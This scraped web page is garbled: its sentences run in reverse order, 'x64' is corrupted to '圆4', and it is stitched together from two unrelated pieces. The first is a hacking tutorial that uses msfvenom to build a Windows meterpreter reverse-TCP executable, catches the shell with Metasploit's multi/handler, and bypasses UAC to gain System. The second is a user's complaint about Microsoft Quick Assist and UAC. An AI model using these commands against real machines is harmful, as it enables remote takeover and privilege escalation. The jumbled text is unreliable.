Set the payload, lhost, and lport as such: msf5 exploit(multi/handler) > set payload windows/圆4/meterpreter/reverse_tcp ~# msfconsoleĪll we need to do is set the options to match what we specified in the executable we created earlier. We can use the versatile multi-handler to catch our reverse shell. Open up a new terminal tab or window and fire up Metasploit with the msfconsole command. ![]() Now that our file is saved, we need to set up a listener for it to connect back to once it is executed. lhost is our local machine to connect back to.Here's what is happening in the command above: No encoder or badchars specified, outputting raw payload No arch selected, selecting arch: 圆4 from the payload No platform was selected, choosing Msf::Module::Platform::Windows from the payload ~/temp# msfvenom -p windows/圆4/meterpreter/reverse_tcp lhost=10.10.0.1 lport=1234 -f exe -o pwn.exe For demonstration purposes, we will create a simple payload using MSFvenom and save it as an executable to be run on the target. The first thing we need to do is get a low privilege shell on the target. To begin, let's create a temporary directory to work out of, just to keep things clean. With a few steps, Metasploit makes it easy to bypass UAC, escalate privileges, and own the system. Luckily, there is a way to get around this. Meterpreter has a built-in command to get System, but if UAC is enabled, it won't work. From an attacker's standpoint, this can make it challenging to elevate privileges on a user, because even if that user has administrative rights, UAC will prevent escalation. It can be disabled, but any decent system administrator would never allow that to happen. This feature was first introduced in Windows Vista and is still present on Microsoft operating systems today. Don't Miss: How to Create an Undetectable Payload for Windows 10.We've all dealt with the annoying pop-up when trying to install software or run a specific program, but this feature helps to keep malware at bay by only allowing applications to run with higher privileges on an as-needed basis. UAC, or User Account Control, is a security feature of Windows that works by limiting what a standard user can do until an administrator authorizes a temporary increase of privileges. However, for this to work, there needs to be a user with administrative privileges on the target machine, so make sure that's the case. If you have access to a practice Windows 7 computer, feel free to follow along step by step, but it will also work on other Windows versions. In our demonstration here, we will be using Kali Linux to attack a Windows 7 box. But it can be frustrating as a hacker when attempting privilege escalation, but it's easy enough to bypass UAC and obtain System access with Metasploit. It's a core feature of the Windows security model, and for the most part, it does what it's supposed to. By either holding the door open, or prop it open but you just let it go and the door closes in my face before ever accomplishing such a simple task.UAC is something we've all dealt with on Windows, either as a user, administrator, or attacker. I just want you to help hold the door open while I carry the heavy box through the door. You all are like a disappointing stranger. It provides me with job security but from an engineering perspective you all have lost touch how your products are used in the world (design specs/ needs analysis). I am disappointed when I try to rely on MS products they fail at the simple things. I guess we will go broke spending $$$ to teamviewer, logmein, and etc because they can do the simple things pretty well. ![]() Its great you add complexity and the latest AI features (woooa) but you cannot even do the simple things painlessly and well. This should be a secure desktop and not inhibit the service of your products please fix this issue ASAP! During an emergency like COVID-19 MS products cannot be relied upon even for the simplest tasks. Look at Mac OS and other unix systems they have this feature built in for free. This is a feature that should be built in to any OS. Why do we have to pay $$$ for other software (teamviewer,logmein, etc.) that can do this. If I want to install something why do I get a black screen. If we disable UAC prompts or lower the level why do we need to take that risk. ![]() ![]() need the ability to see a users desktop remotely and be able to make changes like installing software, setting changes and etc. Can you not make it easier for the client to just click a link and open quick assist and have them type the code in? I don't understand how they fail to allow an IT help desk agent, Sys Admin or DevOps or anyone suppose to succeed in remote assistance to a client and make admin changes. I have to say there must be a gap in MS Windows testing processes.
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